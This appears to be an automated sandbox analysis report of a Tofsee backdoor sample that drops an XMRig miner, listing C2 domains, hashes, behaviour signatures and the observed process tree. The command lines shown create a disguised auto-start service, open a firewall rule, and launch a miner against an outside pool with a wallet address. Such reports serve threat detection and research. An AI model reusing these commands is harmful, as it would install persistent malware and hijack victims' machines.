Analysis

  • max time kernel
    151s
  • max time network
    160s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    13/11/2022, 12:30

General

  • Target
    file.exe
  • Size 173KB
  • Sample221113-ppgp8sbb67
  • SHA256 f53f2cced5df633eb31a2698e952098b2d5dfb0194da3541ddf10a2a0a20e47a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1428
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wpdywsms\
      2⤵
        PID:1352
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\euahmycr.exe" C:\Windows\SysWOW64\wpdywsms\
        2⤵
          PID:2040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wpdywsms binPath= "C:\Windows\SysWOW64\wpdywsms\euahmycr.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1820
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wpdywsms "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:912
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wpdywsms
          2⤵
          • Launches sc.exe
          PID:876
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:628
      • C:\Windows\SysWOW64\wpdywsms\euahmycr.exe
        C:\Windows\SysWOW64\wpdywsms\euahmycr.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:820
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2024

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            euahmycr.exe

            • Path C:\Users\Admin\AppData\Local\Temp\euahmycr.exe
            • Size 10.6MB
            • SHA256 2cd957b22d76958ddc359f655d5472a7a6679902bb6a1f683f0b24824b231231
            • MD5 SHA1 SHA512 SSDEEP

            euahmycr.exe

            • Path C:\Windows\SysWOW64\wpdywsms\euahmycr.exe
            • Size 10.6MB
            • SHA256 2cd957b22d76958ddc359f655d5472a7a6679902bb6a1f683f0b24824b231231
            • MD5 SHA1 SHA512 SSDEEP

            memory/520-73-0x000000000073B000-0x000000000074B000-memory.dmp

            memory/520-76-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/820-85-0x0000000000130000-0x0000000000140000-memory.dmp

            memory/820-97-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/820-77-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/820-82-0x0000000000120000-0x0000000000126000-memory.dmp

            memory/820-94-0x0000000000330000-0x0000000000337000-memory.dmp

            memory/820-88-0x0000000000280000-0x0000000000285000-memory.dmp

            memory/820-91-0x0000000005540000-0x000000000594B000-memory.dmp

            memory/820-68-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/820-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/820-79-0x0000000001970000-0x0000000001B7F000-memory.dmp

            memory/1428-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1428-55-0x00000000006FB000-0x000000000070B000-memory.dmp

            memory/1428-54-0x0000000075071000-0x0000000075073000-memory.dmp

            memory/1428-66-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/1428-58-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/2024-98-0x0000000000110000-0x0000000000201000-memory.dmp

            memory/2024-100-0x0000000000110000-0x0000000000201000-memory.dmp